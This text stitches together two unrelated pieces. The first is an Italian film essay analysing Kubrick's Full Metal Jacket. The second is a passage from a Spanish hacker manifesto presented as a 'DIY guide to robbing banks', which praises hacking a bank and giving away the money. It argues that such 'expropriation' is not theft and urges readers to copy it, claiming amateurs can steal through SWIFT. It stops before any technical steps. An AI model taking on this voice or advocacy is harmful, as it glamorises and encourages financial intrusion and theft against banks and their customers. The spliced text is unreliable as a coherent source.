In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
[Se l’articolo ti è piaciuto, offrimi un caffè o magari una colazione,
una piccola mancia per aiutarmi a sostenere il sito!]#analisi #approfondimento #cinema #film #fullMetalJacket #kubrick #libro #storia #tesi
-
Una guía DIY para robar bancos
#ÉticaHacker #include #Manifiestos
Manifiesto del hacker Phineas Fisher sobre cómo robar bancos
Sacado de https://unicornriot.ninja/wp-content/uploads/2019/11/hackback-announce-text.txt_ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) Una guía DIY para robar bancos ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' Por el Subcowmandante Marcos Soy un niño salvaje Inocente, libre, silvestre Tengo todas las edades Mis abuelos viven en mí Soy hermano de las nubes Y sólo sé compartir Sé que todo es de todos que todo está vivo en mí Mi corazón es una estrella Soy hijo de la tierra Viajo a bordo de mi espíritu Camino a la eternidadÉsta es mi palabra sencilla que busca tocar el corazón de la gente simple yhumilde, pero también digna y rebelde. Ésta es mi palabra sencilla para contarde mis hackeos, y para invitar a otras personas a que hackeen con alegrerebeldía.Hackeé un banco. Lo hice para dar una inyección de liquidez, pero esta vez desdeabajo y a la gente simple y humilde que resiste y se rebela contra lasinjusticias en todo el mundo. En otras palabras: robé un banco y regalé eldinero. Pero no fui yo sola quien lo hizo. El movimiento del software libre, lacomunidad del powershell ofensivo, el proyecto metasploit y la comunidad hackeren general son las que posibilitaron este hackeo. La comunidad de exploit.inhizo posible convertir la intrusión en las computadoras de un banco en efectivoy bitcoin. Los proyectos Tor, Qubes y Whonix, junto a las y los criptógrafos yactivistas que defienden la privacidad y el anonimato, son mis nahuales, esdecir, mis protectores [1]. Me acompañan cada noche y hacen posible que siga enlibertad.No hice nada complicado. Solamente vi la injusticia en este mundo, sentí amorpor todos los seres, y expresé ese amor de la mejor forma que pude, mediante lasherramientas que sé usar. No me mueve el odio a los bancos, ni a los ricos, sinoun amor por la vida, y el deseo de un mundo donde cada quien pueda realizar supotencial y vivir una vida plena. Quisiera explicar un poco cómo veo el mundo,para que puedan hacerse una idea de cómo es que llegué a sentirme y actuar así.Y espero también que esta guía sea una receta que puedan seguir, combinando losmismos ingredientes para hornear el mismo bizcocho. Quién sabe, por ahí estasherramientas tan potentes acaban sirviéndoles también a ustedes para expresar elamor que sienten. Todos somos niños salvajes inocentes, libres, silvestres Todos somos hermanos de los árboles hijos de la tierra Sólo tenemos que poner en nuestro corazón una estrella encendida (canción de Alberto Kuselman y Chamalú)La policía va a invertir un chingo de recursos en investigarme. Creen que elsistema funciona, o al menos que funcionará una vez que atrapen a todos los"chicos malos". No soy más que el producto de un sistema que no funciona.Mientras existan la injusticia, la explotación, la alienación, la violencia y ladestrucción ecológica, vendrán muchas más como yo: una serie interminable de personas que rechazarán por ilegítimo el mal sistema responsable de estesufrimiento. Ese sistema mal hecho no se va a componer arrestándome. Soy solamente una de las millones de semillas que Tupac plantó hace 238 años en LaPaz [2], y espero que mis acciones y escritos rieguen la semilla de la rebeliónen sus corazones.[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito[2] fue antes de ser asesinado por los españoles, justo un día como ayer, que dijo eso de "a mi solo me matarán, pero mañana volveré y seré millones". ____________________________________________< Para que nos vieran, nos tapamos el rostro > -------------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'Para hacernos escuchar, a lxs hackers a veces nos toca taparnos la cara, porqueno nos interesa que vean nuestro rostro sino que entiendan nuestra palabra. Lamáscara puede ser de Guy Fawkes, de Salvador Dalí, de Fsociety, o en algún casola marioneta de un sapo con cresta. Por afinidad, esta vez fui a desenterrar aun difunto para prestarme su pasamontañas. Creo entonces que debería aclarar queel Sup Marcos es inocente de todo lo que aquí se cuenta porque, además de estarmuerto, no le consulté. Espero que su fantasma, si se entera desde alguna hamacachiapaneca, sepa encontrar la bondad para, como dicen allá, "desestimar estedeep fake" con el mismo gesto con que se aleja un insecto inoportuno - que bienpodría ser un escarabajo.Aún así con el pasamontañas y el cambio de nombre, muchos de los que apoyan misacciones quizás van a prestar demasiada atención a mi persona. Con su propiaautonomía hecha trizas por una vida entera de dominación, estarán buscando unlíder a seguir, o una heroína que les salve. Pero detrás del pasamontañas sólosoy una niña. Todos somos niños salvajes. Nós só temos que colocar uma estrelaem chamas em nossos corações.--[ 1 - Por qué expropiar ]-----------------------------------------------------El capitalismo es un sistema en el que una minoría se ha venido a apropiar de una vasta mayoría de los recursos del mundo a través de la guerra, el hurto y la explotación. Al arrebatarnos los comunes [1], forzaron a los de abajo a estar bajo el control de esa minoría que todo lo posee. Es un sistemafundamentalmente incompatible con la libertad, la igualdad, la democracia y el Suma Qamaña (Buen Vivir). Puede sonar ridículo para las que hemos crecido en unamaquinaria propagandística que nos enseñó que capitalismo es libertad, pero enverdad esto que digo no es una idea nueva ni controvertida [2]. Los fundadoresde los Estados Unidos de América sabían que tenían que elegir entre crear unasociedad capitalista, o una libre y democrática. Madison reconocía que "elhombre que posee riqueza, el que se acuesta en su sofá o rueda en su carruaje,no puede juzgar los deseos o sentimientos del jornalero". Pero para protegersefrente al "espíritu de equiparación" de los jornaleros sin tierra, le parecióque solamente los terratenientes debían votar, y que el gobierno tenía queservir para "proteger a la minoria opulenta frente a la gran mayoria". JohnJay fue más al grano y dijo: "Aquellos que son dueños del país deberíangobernarlo". ____________________________________________________/ No existe eso que llaman capitalismo verde. \| Hagamos al capitalismo historia antes de que nos |\ convierta en historia. / ---------------------------------------------------- \ /\ ___ /\ \ // \/ \/ \\ (( O O )) \\ / \ // \/ | | \/ | | | | Evgeny, el gran elefante ignorado, no entiende por qué todos | | | | fingen no verle en los paneles sobre cambio climático, así | o | que aquí le doy chance a decir sus líneas. | | | | |m| |m| De la misma forma que bell hooks [3] sostiene que el rechazo a la culturapatriarcal de dominación es un acto en defensa del propio interés del varón (yaque emocionalmente les mutila y evita que sientan amor y conexión de formaplena), creo que la cultura de dominación del capitalismo tiene un efectosimilar sobre los ricos, y que podrían tener vidas más plenas y satisfactoriassi rechazaran el sistema de clases del que creen que se benefician. Para muchos,el privilegio de clase equivale a una infancia de negligencia emocional, seguidade una vida de interacciones sociales superficiales y trabajo sin sentido. Puedeque en el fondo sepan que sólo pueden conectar de forma genuina con las personascuando trabajan con ellas como sus iguales, y no cuando las ponen a su servicio.Puede que sepan que compartir su riqueza material es lo mejor que pueden hacer con ella. Quizás sepan también que las experiencias significativas, las conexiones y las relaciones que cuentan no son las que provienen de las interacciones mercantiles, sino precisamente de rechazar la lógica del mercado y dar sin esperar nada a cambio. Tal vez sepan que todo lo que necesitan para escapar de su prisión y vivir de verdad es dejarse llevar, ceder el control, y dar un salto de fe. Pero a la mayoría les falta valentía.Entonces sería ingenuo por nuestra parte dirigir nuestros esfuerzos a tratar de producir alguna clase de despertar espiritual en los ricos [4]. Como dice Assata Shakur: "Nadie en el mundo, nadie en la historia, ha conseguido nunca su libertad apelando al sentido moral de sus opresores". En realidad, cuando los ricos reparten su dinero, casi siempre lo hacen de un modo que refuerza elsistema que para empezar les permitió amasar sus enormes e ilegítimas riquezas[5]. Y es poco probable que el cambio venga a través de un proceso político;como dice Lucy Parsons: "No nos dejemos nunca engañar con que los ricos nosvayan a dejar votar para arrebatarles sus riquezas". Colin Jenkins justifica laexpropiación con estas palabras [6]: No nos equivoquemos, la expropiación no es robo. No es la confiscación de dinero ganado "con el sudor de la frente". No es el robo de propiedad privada. Es, más bien, la recuperación de enormes cantidades de tierra y riqueza que han sido forjadas con recursos naturales robados, esclavitud humana, fuerza de trabajo forzada y amasada en cientos de años por una pequeña minoría. Esta riqueza... es ilegítima, tanto a efectos morales como en tanto a los mecanismos de explotación que se han empleado para crearla.Para Colin, el primer paso es que "tenemos que liberarnos de nuestras ataduras mentales (al creer que la riqueza y la propiedad privada han sido ganadas por quienes las monopolizan; y que, por tanto, deberían ser algo a respetar, reverenciar, e incluso algo a perseguir), abrir nuestras mentes, estudiar y aprender de la historia, y reconocer juntos esta ilegitimidad". Acá les dejo algunos libros que me han ayudado con esto [7][8][9][10][11].Según Barack Obama, la desigualdad económica es "el desafío que define a nuestrotiempo". El hacking informático es una herramienta poderosa para combatir ladesigualdad económica. El antiguo director de la NSA, Keith Alexander, concuerday dice que el hacking es responsable de "la mayor transferencia de riqueza de lahistoria". _________________________/ La historia es nuestra \\ y la hacen lxs hackers! / ------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'¡Allende presente, ahora y siempre![1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf[2] https://chomsky.info/commongood02/[3] The Will to Change: Men, Masculinity, and Love[4] su propia religión ya es muy clara al respecto: https://dailyverses.net/es/materialismo[5] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/[6] http://www.hamptoninstitution.org/expropriation-or-bust.html[7] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era de los Dioses Enmascarados y los Reyes Cubiertos[8] Calibán y la Bruja[9] En deuda: Una historia alternativa de la economía[10] La otra historia de los Estados Unidos[11] Las venas abiertas de América Latina _________________________________ < Nuestra arma es nuestro teclado > --------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' ^^ ^^--[ 2 - Introducción ]----------------------------------------------------------Esta guía explica cómo fue que hice el hackeo al Cayman Bank and Trust Company (Isla de Man). ¿Por qué estoy publicando esto, casi cuatro años después?1) Para mostrar lo que es posibleLos hackers que trabajan por el cambio social se han limitado a desarrollar herramientas de seguridad y privacidad, DDoS, realizar defaceos y filtraciones. Allá por donde vayas hay proyectos radicales por un cambio social en completo estado de precariedad, y sería mucho lo que podrían hacer con un poco de dinero expropiado. Al menos para la clase trabajadora, el robo de un banco es algo socialmente aceptado, y a los que lo hacen se les ve como héroes del pueblo. En la era digital, robar un banco es un acto no violento, menos arriesgado, y la recompensa es mayor que nunca. Entonces ¿por qué son solamente los hackers de sombrero negro que lo hacen para beneficio personal de ellos, y nunca los hacktivistas para financiar proyectos radicales? Quizás no se creen que son capaces de hacerlo. Los grandes hackeos bancarios salen en los noticieros cadatanto, como el hackeo al Banco de Bangladesh [1], que fue atribuido a Corea delNorte, o los hackeos a bancos atribuidos al grupo Carbanak [2], al que describencomo un grupo muy grande y bien organizado de hackers rusos, con distintosmiembros que estarían especializados en diferentes tareas. Y, pues no es tan complicado.Es por nuestra creencia colectiva en que el sistema financiero es incuestionableque ejercemos control sobre nosotras mismas, y mantenemos el sistema de clasessin que los de arriba tengan que hacer nada [3]. Poder ver cómo de vulnerable yfrágil es en realidad el sistema financiero nos ayuda a romper esa alucinacióncolectiva. Por eso los bancos tienen un fuerte incentivo para no reportar loshackeos, y para exagerar cómo de sofisticados son los atacantes. Ninguno de loshackeos financieros que hice, o de los que he sabido, ha sido nunca reportado.Este va a ser el primero, y no porque el banco quisiera, sino porque yo medecidí a publicarlo.Como estás a punto de aprender en esta guía casera, hackear un banco ytransferir los dineros a través de la red SWIFT no requiere del apoyo de ningún gobierno, ni de un grupo grande y especializado. Es algo totalmente posible siendo un mero hacker aficionado y del montón, con tan solo herramientaspúblicas y conocimientos básicos de 